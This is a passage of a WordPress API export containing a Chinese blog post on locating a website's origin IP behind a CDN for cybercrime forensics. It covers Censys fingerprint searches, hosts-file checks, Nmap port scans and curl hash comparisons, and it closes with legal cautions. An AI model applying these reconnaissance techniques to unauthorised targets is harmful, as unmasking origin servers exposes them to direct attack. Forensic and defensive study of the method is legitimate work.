\u5382\u5546\u6807\u8bc6\uff0c\u800c\u771f\u5b9e\u670d\u52a1\u5668\u7684\u54cd\u5e94\u5934\u4f1a\u663e\u793a\u539f\u59cb\u670d\u52a1\u5668\u6307\u7eb9\uff0c\u901a\u8fc7\u6307\u7eb9\u5339\u914d\u53ef\u627e\u5230\u771f\u5b9e IP\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u64cd\u4f5c\u65b9\u6cd5<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u63d0\u53d6\u76ee\u6807\u7f51\u7ad9\u539f\u59cb\u670d\u52a1\u5668\u6307\u7eb9\uff1a\n<ul class=\"wp-block-list\">\n<li>\u82e5\u80fd\u901a\u8fc7\u4e0a\u8ff0\u65b9\u6cd5\u83b7\u53d6\u4e00\u4e2a\u7591\u4f3c\u771f\u5b9e IP\uff0c\u8bbf\u95ee\u8be5 IP \u5e76\u8bb0\u5f55\u54cd\u5e94\u5934\u7279\u5f81\uff08\u5982<code>Server: Nginx\/1.21.0<\/code>\u3001<code>X-Powered-By: PHP\/7.4.3<\/code>\uff09\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u5728\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce\u4e2d\u641c\u7d22\u8be5\u6307\u7eb9\uff1a\n<ul class=\"wp-block-list\">\n<li>Censys \u8bed\u6cd5\uff1a<code>80.http.get.headers.server:\"Nginx\/1.21.0\" AND 80.http.get.headers.x-powered-by:\"PHP\/7.4.3\"<\/code>\u3002<\/li>\n\n\n\n<li>\u7b5b\u9009\u4e0e\u76ee\u6807\u7f51\u7ad9\u7279\u5f81\u5339\u914d\u7684 IP\uff0c\u5373\u4e3a\u771f\u5b9e\u670d\u52a1\u5668\u96c6\u7fa4\u7684\u5176\u4ed6 IP\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">\u56db\u3001\u771f\u5b9e IP \u9a8c\u8bc1\u4e0e\u786e\u8ba4\u6d41\u7a0b<\/h2>\n\n\n\n<p>\u83b7\u53d6\u7591\u4f3c\u771f\u5b9e IP \u540e\uff0c\u9700\u901a\u8fc7\u4ee5\u4e0b\u6b65\u9aa4\u9a8c\u8bc1\uff0c\u786e\u4fdd IP \u7684\u51c6\u786e\u6027\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u76f4\u63a5\u8bbf\u95ee\u9a8c\u8bc1<\/strong>\uff1a\u5728\u6d4f\u89c8\u5668\u4e2d\u8f93\u5165<code>http:\/\/[IP]<\/code>\u6216<code>https:\/\/[IP]<\/code>\uff0c\u82e5\u9875\u9762\u5185\u5bb9\u4e0e\u76ee\u6807\u7f51\u7ad9\u5b8c\u5168\u4e00\u81f4\uff0c\u76f4\u63a5\u786e\u8ba4\uff1b\u82e5\u8fd4\u56de<code>403 Forbidden<\/code>\u6216 \u201c\u8bf7\u901a\u8fc7\u57df\u540d\u8bbf\u95ee\u201d\uff0c\u8fdb\u5165\u4e0b\u4e00\u6b65\u3002<\/li>\n\n\n\n<li><strong>Hosts \u7ed1\u5b9a\u9a8c\u8bc1<\/strong>\uff1a\u4fee\u6539\u672c\u5730 hosts \u6587\u4ef6\uff0c\u5c06\u76ee\u6807\u57df\u540d\u4e0e\u7591\u4f3c IP \u7ed1\u5b9a\uff08\u683c\u5f0f\uff1a<code>IP\u5730\u5740 \u57df\u540d<\/code>\uff0c\u5982<code>202.175.23.36 target.com<\/code>\uff09\uff0c\u4fdd\u5b58\u540e\u8bbf\u95ee\u76ee\u6807\u57df\u540d\uff0c\u82e5\u80fd\u6b63\u5e38\u6253\u5f00\u4e14\u9875\u9762\u5185\u5bb9\u4e00\u81f4\uff0c\u786e\u8ba4\u8be5 IP \u4e3a\u771f\u5b9e IP\u3002<\/li>\n\n\n\n<li><strong>\u7aef\u53e3\u626b\u63cf\u9a8c\u8bc1<\/strong>\uff1a\u4f7f\u7528 Nmap \u626b\u63cf\u7591\u4f3c IP \u7684\u5e38\u89c1\u7aef\u53e3\uff0880\u3001443\u30013306\u300122 \u7b49\uff09\uff0c\u82e5\u7aef\u53e3\u5f00\u653e\u60c5\u51b5\u4e0e\u76ee\u6807\u7f51\u7ad9\u7684\u670d\u52a1\u7279\u5f81\u4e00\u81f4\uff08\u5982 443 \u7aef\u53e3\u5f00\u653e\u4e14\u652f\u6301 SSL \u8fde\u63a5\uff09\uff0c\u8fdb\u4e00\u6b65\u786e\u8ba4\u3002<\/li>\n\n\n\n<li><strong>\u5185\u5bb9\u54c8\u5e0c\u9a8c\u8bc1<\/strong>\uff1a\u83b7\u53d6\u76ee\u6807\u7f51\u7ad9\u9996\u9875\u7684 MD5 \u54c8\u5e0c\u503c\uff08<code>curl target.com | md5sum<\/code>\uff09\uff0c\u518d\u83b7\u53d6\u7591\u4f3c IP \u9996\u9875\u7684 MD5 \u54c8\u5e0c\u503c\uff08<code>curl http:\/\/[IP] | md5sum<\/code>\uff09\uff0c\u82e5\u54c8\u5e0c\u503c\u4e00\u81f4\uff0c100% \u786e\u8ba4\u8be5 IP \u4e3a\u771f\u5b9e IP\u3002<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e94\u3001\u6cd5\u5f8b\u5408\u89c4\u4e0e\u6ce8\u610f\u4e8b\u9879<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5408\u6cd5\u53d6\u8bc1<\/strong>\uff1a\u5728\u6d89\u7f51\u6848\u4ef6\u4fa6\u67e5\u4e2d\uff0c\u83b7\u53d6\u771f\u5b9e IP \u7684\u64cd\u4f5c\u9700\u7b26\u5408\u300a\u7f51\u7edc\u5b89\u5168\u6cd5\u300b\u300a\u5211\u4e8b\u8bc9\u8bbc\u6cd5\u300b\u7b49\u6cd5\u5f8b\u6cd5\u89c4\uff0c\u4e25\u7981\u672a\u6388\u6743\u626b\u63cf\u3001\u5165\u4fb5\u4ed6\u4eba\u670d\u52a1\u5668\uff0c\u5fc5\u8981\u65f6\u53ef\u5411 CDN \u5382\u5546\u3001\u4e91\u670d\u52a1\u5546\u7533\u8bf7\u8c03\u8bc1\uff08\u9700\u51fa\u5177\u5408\u6cd5\u529e\u6848\u6587\u4e66\uff09\u3002<\/li>\n\n\n\n<li><strong>\u907f\u514d\u5e72\u6270<\/strong>\uff1a\u626b\u63cf\u6d4b\u8bd5\u65f6\u9700\u63a7\u5236\u626b\u63cf\u901f\u7387\uff0c\u907f\u514d\u5bf9\u76ee\u6807\u670d\u52a1\u5668\u9020\u6210\u62d2\u7edd\u670d\u52a1\uff08DoS\uff09\u653b\u51fb\uff0c\u5f15\u53d1\u6cd5\u5f8b\u98ce\u9669\u3002<\/li>\n\n\n\n<li><strong>\u8bc1\u636e\u56fa\u5b9a<\/strong>\uff1a\u83b7\u53d6\u771f\u5b9e IP \u540e\uff0c\u9700\u901a\u8fc7\u622a\u56fe\u3001\u65e5\u5fd7\u8bb0\u5f55\u3001\u7b2c\u4e09\u65b9\u516c\u8bc1\u7b49\u65b9\u5f0f\u56fa\u5b9a\u8bc1\u636e\uff0c\u786e\u4fdd\u8bc1\u636e\u7684\u5408\u6cd5\u6027\u3001\u771f\u5b9e\u6027\u3001\u5173\u8054\u6027\u3002<\/li>\n\n\n\n<li><strong>CDN \u5382\u5546\u8c03\u8bc1<\/strong>\uff1a\u82e5\u76ee\u6807\u7f51\u7ad9\u4f7f\u7528\u56fd\u5185 CDN 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IP\u3002\u5728\u5b9e\u9645\u64cd\u4f5c\u4e2d\uff0c\u5efa\u8bae\u4f18\u5148\u4f7f\u7528\u88ab\u52a8\u5f0f\u65b9\u6cd5\uff08\u5982\u5386\u53f2\u8bb0\u5f55\u67e5\u8be2\u3001\u90ae\u4ef6\u5934\u5206\u6790\u3001\u8bc1\u4e66\u6eaf\u6e90\uff09\uff0c\u51cf\u5c11\u5bf9\u76ee\u6807\u7684\u5e72\u6270\uff1b\u82e5\u88ab\u52a8\u65b9\u6cd5\u65e0\u6548\uff0c\u518d\u5c1d\u8bd5\u4e3b\u52a8\u5f0f\u65b9\u6cd5\uff08\u5982\u5b50\u57df\u540d\u626b\u63cf\u3001\u5168\u7f51\u626b\u63cf\uff09\u3002\u540c\u65f6\uff0c\u9700\u4e25\u683c\u9075\u5b88\u6cd5\u5f8b\u89c4\u5b9a\uff0c\u786e\u4fdd\u6240\u6709\u64cd\u4f5c\u5408\u6cd5\u5408\u89c4\uff0c\u8ba9\u6280\u672f\u670d\u52a1\u4e8e\u5408\u6cd5\u53d6\u8bc1\u4e0e\u7f51\u7edc\u5b89\u5168\u9632\u62a4\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001CDN \u6280\u672f\u6838\u5fc3\u539f\u7406\u4e0e\u53d6\u8bc1\u75db\u70b9 \uff08\u4e00\uff09CDN \u5de5\u4f5c\u673a\u5236 CDN \u662f\u6784\u5efa\u5728\u73b0\u6709\u7f51\u7edc\u57fa\u7840\u4e0a\u7684\u667a\u80fd\u865a\u62df\u7f51\u7edc\uff0c\u901a\u8fc7 [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":27,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_import_markdown_pro_load_document_selector":0,"_import_markdown_pro_submit_text_textarea":"","footnotes":""},"categories":[2],"tags":[],"class_list":["post-26","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-2"],"_links":{"self":[{"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/posts\/26","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/comments?post=26"}],"version-history":[{"count":1,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/posts\/26\/revisions"}],"predecessor-version":[{"id":28,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/posts\/26\/revisions\/28"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/media\/27"}],"wp:attachment":[{"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/media?parent=26"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/categories?post=26"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.miren.baby\/index.php\/wp-json\/wp\/v2\/tags?post=26"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}